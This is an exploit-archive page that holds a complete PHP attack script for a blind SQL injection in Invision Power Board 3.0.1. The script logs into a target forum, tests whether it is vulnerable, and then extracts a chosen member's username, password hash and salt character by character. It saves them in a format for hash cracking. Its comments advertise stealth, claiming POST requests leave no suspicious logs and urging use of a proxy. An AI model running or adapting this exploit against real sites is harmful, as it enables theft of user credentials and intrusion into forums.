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IPB 3.0.1 SQL Injection

🗓️ 14 May 2010 00:00:00Reported by CryptovirusType 
packetstorm
 packetstorm🔗 packetstormsecurity.com👁 24 Views

IPB 3.0.1 SQL injection exploit for fast and undetected attack with optimized fetching algorithm

Code
`<?php  
error_reporting(E_ALL);  
///////////////////////////////////////////////////////////////////////  
///////////////////////////////////////////////////////////////////////  
// IPB 3.0.1 sql injection exploit  
// Version 1.0  
// written by Cryptovirus  
// http://de.crypt.in/  
// 31. january 2010  
//  
// FEATURES:  
// 1. Fetching algorithm optimized for speed  
// 2. Attack goes through $_POST, so no suspicious logs  
// 3. Pretesting saves time if IPB is not vulnerable  
// 4. curl extension autoloading  
// 5. log format compatible with passwordspro  
//  
// NB! This exploit is meant to be run as php CLI!  
// http://www.php.net/features.commandline  
///////////////////////////////////////////////////////////////////////  
///////////////////////////////////////////////////////////////////////  
//=====================================================================  
$cli = php_sapi_name() === 'cli';  
//=====================================================================  
// Die, if executed from webserver  
//=====================================================================  
if(!$cli)  
{  
echo "<html><head><title>Attention!</title></head>\n";  
echo "<body><br /><br /><center>\n";  
echo "<h1>Error!</h1>\n";  
echo "This exploit is meant to be used as php CLI script!<br />\n";  
echo "More information:<br />\n";  
echo "<a href=\"http://www.google.com/search?hl=en&q=php+cli+windows\" target=\"_blank\">http://www.google.com/search?hl=en&q=php+cli+windows</a><br />\n";  
echo "This script will not run through a webserver.<br />\n";  
echo "</center></body></html>\n";  
exit;  
}  
//=====================================================================  
// Print the awesome de.crypt.in logo  
//=====================================================================  
echo "\n _ _ _ ";  
echo "\n __| | ___ ___ _ __ _ _ _ __ | |_ (_)_ __ ";  
echo "\n / _` |/ _ \ / __| '__| | | | '_ \| __| | | '_ \ ";  
echo "\n| (_| | __/| (__| | | |_| | |_) | |_ _| | | | |";  
echo "\n \__,_|\___(_)___|_| \__, | .__/ \__(_)_|_| |_|";  
echo "\n |___/|_| \n\n";  
//=====================================================================  
// Check if all command line arguments were passed  
//=====================================================================  
if(!isset($argv[1])||!isset($argv[2])||!isset($argv[3])){  
echo "Usage: php ".$_SERVER['PHP_SELF']." <target> <userid> <option> [login] [password]\n";  
echo "\n";  
echo "NOTE: Login and password are optional, use for forums that require registration.\n";  
echo "Options: 1 - Fetch username, 2 - Fetch password hash\n\n";  
echo "Example: php ".$_SERVER['PHP_SELF']." http://ipb.com/board/ 1 1 foo bar\n";  
die;  
}  
//=====================================================================  
// Set some important variables...  
//=====================================================================  
$topicname = '';  
$url = $argv[1];  
$chosen_id = $argv[2];  
$ch_option = $argv[3];  
if(isset($argv[4])){  
if(isset($argv[5])){  
$user_login = $argv[4];  
$user_pass = $argv[5];  
}  
else{  
echo "Error: Password not specified with username\n";  
die;  
}  
}  
# Proxy settings  
# Be sure to use proxy :)  
//$proxy_ip_port = '127.0.0.1:8118';  
//$proxy_user_password = 'someuser:somepassword';  
$outfile = './ipb_log.txt'; //Log file  
  
if(!extension_loaded('curl'))  
{  
if(!dl('php_curl.dll'))  
{  
die("Curl extension not loaded!\n Fatal exit ...\n");  
}  
else  
{  
echo "Curl loading success\n";  
}  
}  
//=====================================================================  
xecho("Target: $url\n");  
xecho("Testing target URL ... \n");  
test_target_url();  
xecho("Target URL seems to be valid\n");  
add_line("==========================================");  
add_line("Target: $url");  
if(isset($argv[4])){  
login_to_forum($argv[4], $argv[5]);  
}  
$i = $chosen_id;  
echo "Fetching topics from ID $i\n";  
if(!fetch_target_id($i))  
{  
echo "No topics found.\n";  
fwrite(STDOUT, "Last ditch effort, enter topic: ");  
$topicname = trim(fgets(STDIN));   
}  
else echo "Topic found! Hacktime.\n";  
  
// Check chosen option and proceed accordingly  
add_line("------------------------------------------");  
if($ch_option == 2){  
$hash = get_hash($i);  
$salt = get_salt($i);  
$line = "$i:$hash:$salt";  
add_line($line);  
xecho("\n------------------------------------------\n");  
xecho("User ID: $i\n");  
xecho("Hash: $hash\n");  
xecho("Salt: $salt");  
xecho("\n------------------------------------------\n");  
}  
else if($ch_option == 1){  
$uname = get_user($i);  
$line = "The username for id $i is $uname";  
add_line($line);  
xecho("$uname");  
}  
xecho("\nQuestions and feedback - http://de.crypt.in/ \n");  
die(" \n");  
//////////////////////////////////////////////////////////////////////  
function login_to_forum($user, $pass)  
{  
global $url;  
$post = 'app=core&module=global&section=login&do=process&username='.$user.'&password='.$pass.'&rememberMe=1';  
$buff = trim(make_post($url, $post, '', $url));  
if(strpos($buff,'The login was successful!')>0){  
xecho("Logged in.\n");  
}  
else{  
xecho("Error: Unable to login.");  
die;  
}  
}  
//////////////////////////////////////////////////////////////////////  
function test_target_url()  
{  
global $url;  
  
$post = 'app=core&module=search&section=search&do=quick_search&search_app=core&fromsearch=1&search_filter_app%5Ball%5D=1&content_title_only=1&search_term=test%2527';  
$buff = trim(make_post($url, $post, '', $url));  
  
if(strpos($buff,'Moved Permanently')>0)  
{  
die('Ivalid. Try adding trailing slash to url. Exiting ...');  
}  
  
if(strpos($buff,'No results found for')>0)  
{  
die('Target is patched? Exiting ...');  
}  
}  
//////////////////////////////////////////////////////////////////////  
function fetch_target_id($id)  
{  
global $url, $topicname;   
$post = 'app=core&module=search&do=user_posts&mid='.$id.'&view_by_title=1&search_filter_app%5Bforums%5D=1';  
$buff = trim(make_post($url, $post, '', $url));  
if(strpos($buff,'View result')>0){  
$location = strpos($buff,'View result');  
$start = strpos($buff,'>',$location)+1;  
$end = strpos($buff,'</a>',$start);  
$topicname = substr($buff,$start,($end-$start));  
return true;  
}  
else return false;  
}  
///////////////////////////////////////////////////////////////////////  
function get_salt($id)  
{  
$len = 5;  
$out = '';  
xecho("Finding salt ...\n");  
for($i = 1; $i < $len + 1; $i ++)  
{  
$ch = get_saltchar($i, $id);  
xecho("Got pos $i --> $ch\n");  
$out .= "$ch";  
xecho("Current salt: $out \n");  
}  
xecho("\nFinal salt for ID $id: $out\n\n");  
return $out;  
}  
///////////////////////////////////////////////////////////////////////  
function get_saltchar($pos, $id)  
{  
global $prefix;  
$char = '';  
$min = 32;  
$max = 128;  
$pattern = 'm.member_id='.$id.' AND ORD(SUBSTR(m.members_pass_salt,'.$pos.',1))';  
$curr = 0;  
while(1)  
{  
$area = $max - $min;  
if($area < 2 )  
{  
$post = $pattern . "=$max";  
$eq = test_condition($post);  
if($eq)  
{  
$char = chr($max);  
}  
else  
{  
$char = chr($min);  
}  
break;  
}  
  
$half = intval(floor($area / 2));  
$curr = $min + $half;  
$post = $pattern . '%253e' . $curr;  
$bigger = test_condition($post);  
if($bigger)  
{  
$min = $curr;  
}  
else  
{  
$max = $curr;  
}  
xecho("Current test: $curr-$max-$min\n");  
}  
return $char;  
}  
///////////////////////////////////////////////////////////////////////  
function get_hash($id)  
{  
$len = 32;  
$out = '';  
xecho("Finding hash ...\n");  
for($i = 1; $i < $len + 1; $i ++)  
{  
$ch = get_hashchar($i, $id);  
xecho("Got pos $i --> $ch\n");  
$out .= "$ch";  
xecho("Current hash: $out \n");  
}  
xecho("\nFinal hash for ID $id: $out\n\n");  
return $out;  
}  
///////////////////////////////////////////////////////////////////////  
function get_hashchar($pos, $id)  
{  
global $prefix;  
$char = '';  
$pattern = 'm.member_id='.$id.' AND ORD(SUBSTR(m.members_pass_hash,'.$pos.',1))';  
// First let's determine, if it's number or letter  
$post = $pattern . '%253e57';  
$letter = test_condition($post);  
if($letter)  
{  
$min = 97;  
$max = 102;  
xecho("Char to find is [a-f]\n");  
}  
else  
{  
$min = 48;  
$max = 57;  
xecho("Char to find is [0-9]\n");  
}  
$curr = 0;  
while(1)  
{  
$area = $max - $min;  
if($area < 2 )  
{  
$post = $pattern . "=$max";  
$eq = test_condition($post);  
if($eq)  
{  
$char = chr($max);  
}  
else  
{  
$char = chr($min);  
}  
break;  
}  
  
$half = intval(floor($area / 2));  
$curr = $min + $half;  
$post = $pattern . '%253e' . $curr;  
$bigger = test_condition($post);  
if($bigger)  
{  
$min = $curr;  
}  
else  
{  
$max = $curr;  
}  
xecho("Current test: $curr-$max-$min\n");  
}  
return $char;  
}  
///////////////////////////////////////////////////////////////////////  
///////////////////////////////////////////////////////////////////////  
function get_user($id)  
{  
$len = 32;  
$out = '';  
  
xecho("Finding username ...\n");  
  
for($i = 1; $i < $len + 1; $i ++)  
{  
$ch = get_userchar($i, $id);  
xecho("Got pos $i --> $ch\n");  
$out .= "$ch";  
xecho("Current username: $out \n");  
}  
  
xecho("\nFinal username for ID $id: $out\n\n");  
  
return $out;  
}  
///////////////////////////////////////////////////////////////////////  
function get_userchar($pos, $id)  
{  
global $prefix;  
  
$char = '';  
$pattern = 'm.member_id='.$id.' AND ORD(SUBSTR(m.name,'.$pos.',1))';  
  
// First let's determine, if it's number or letter  
$post = $pattern . '%253e57';  
$letter = test_condition($post);  
  
if($letter)  
{  
$min = 65;  
$max = 122;  
xecho("Char to find is [a-f]\n");  
}  
else  
{  
$min = 48;  
$max = 57;  
xecho("Char to find is [0-9]\n");  
}  
  
$curr = 0;  
  
while(1)  
{  
$area = $max - $min;  
if($area < 2 )  
{  
$post = $pattern . "=$max";  
$eq = test_condition($post);  
  
if($eq)  
{  
$char = chr($max);  
}  
else  
{  
$char = chr($min);  
}  
  
break;  
}  
  
$half = intval(floor($area / 2));  
$curr = $min + $half;  
  
$post = $pattern . '%253e' . $curr;  
  
$bigger = test_condition($post);  
  
if($bigger)  
{  
$min = $curr;  
}  
else  
{  
$max = $curr;  
}  
  
xecho("Current test: $curr-$max-$min\n");  
}  
  
return $char;  
}  
///////////////////////////////////////////////////////////////////////  
function test_condition($p)  
{  
global $url;  
global $topicname;  
  
$bret = false;  
$maxtry = 10;  
$try = 1;  
  
$pattern = 'app=core&module=search&section=search&do=quick_search&search_app=core&fromsearch=1&search_filter_app%%5Ball%%5D=1&content_title_only=1&search_term='.$topicname.'%%2527 IN BOOLEAN MODE) AND %s AND MATCH(t.title) AGAINST(%%2527'.$topicname;  
$post = sprintf($pattern, $p);  
  
while(1)  
{  
$buff = trim(make_post($url, $post, '', $url));  
  
if(strpos($buff,'Your search for the term <em><strong>')>0)  
{  
$bret = true;  
break;  
}  
elseif(strpos($buff,'No results found for')>0)  
{  
break;  
}  
elseif(strpos($buff, 'Driver Error</title>') !== false)  
{  
die("Sql error! Wrong prefix?\nExiting ... ");  
}  
else  
{  
xecho("test_condition() - try $try - invalid return value ...\n");  
xecho("Will wait 30 seconds for flood control. Expect 2-3 tries.\n");  
xecho("This is going to take years...\n");  
sleep(10);  
$try ++;  
if($try > $maxtry)  
{  
die("Too many tries - exiting ...\n");  
}  
else  
{  
xecho("Trying again - try $try ...\n");  
}  
}  
}  
  
return $bret;  
}  
///////////////////////////////////////////////////////////////////////  
function make_post($url, $post_fields='', $cookie = '', $referer = '', $headers = FALSE)  
{  
$ch = curl_init();  
$timeout = 120;  
curl_setopt ($ch, CURLOPT_URL, $url);  
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);  
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);  
curl_setopt($ch, CURLOPT_POST, 1);  
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);  
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);  
curl_setopt ($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)');  
curl_setopt ($ch, CURLOPT_COOKIEJAR, 'cookies.txt');  
curl_setopt ($ch, CURLOPT_COOKIEFILE, 'cookies.txt');  
  
  
if(!empty($GLOBALS['proxy_ip_port']))  
{  
curl_setopt($ch, CURLOPT_PROXY, $GLOBALS['proxy_ip_port']);  
  
if(!empty($GLOBALS['proxy_user_password']))  
{  
curl_setopt($ch, CURLOPT_PROXYUSERPWD, $GLOBALS['proxy_user_password']);  
}  
}  
  
if(!empty($cookie))  
{  
curl_setopt ($ch, CURLOPT_COOKIE, $cookie);  
}  
  
if(!empty($referer))  
{  
curl_setopt ($ch, CURLOPT_REFERER, $referer);  
}  
  
if($headers === TRUE)  
{  
curl_setopt ($ch, CURLOPT_HEADER, TRUE);  
}  
else  
{  
curl_setopt ($ch, CURLOPT_HEADER, FALSE);  
}  
  
$fc = curl_exec($ch);  
curl_close($ch);  
  
return $fc;  
}  
///////////////////////////////////////////////////////////////////////  
function add_line($line)  
{  
global $outfile;  
$line .= "\r\n";  
$fh = fopen($outfile, 'ab');  
fwrite($fh, $line);  
fclose($fh);  
}  
///////////////////////////////////////////////////////////////////////  
function xecho($line)  
{  
if($GLOBALS['cli'])  
{  
echo "$line";  
}  
else  
{  
$line = nl2br(htmlspecialchars($line));  
echo "$line";  
}  
}  
///////////////////////////////////////////////////////////////////////  
?>  
`

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14 May 2010 00:00Current
0.4Low risk
Vulners AI Score0.4
ipb 3.0.1sql injectionexploitfetching algorithmattackpost methodspeedcurl extensioncli scriptphpcommand lineproxy settingslog filevulnerability test.
24